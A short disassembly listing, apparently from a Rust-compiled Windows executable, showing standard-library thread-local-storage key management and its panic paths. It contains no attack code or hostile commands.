xor eax, eax
lock cmpxchg dword [rsi + 0x18], ecx
jne 0x140011fa8
mov edi, dword [rsp + 0x28]
jmp 0x140011fb5
mov edi, dword [rsi + 0x18]
jmp 0x140011fb3
mov edi, eax
mov ecx, dword [rsp + 0x28]
call sub.KERNEL32.dll_TlsFree
dec edi
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call fcn.140012060
ud2
mov rcx, rbx
mov edx, 4
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
lea rax, str.out_of_TLS_indexes
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_5680fa18feaa87f3ff04063800aec256c3d4b4belibrary_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.library_std_src_syswindows_thread_local_key.rs
lea rcx, [rsp + 0x30]
call fcn.140002b10
ud2
lea rax, str.out_of_TLS_indexes
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_5680fa18feaa87f3ff04063800aec256c3d4b4belibrary_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call fcn.1400120d0
ud2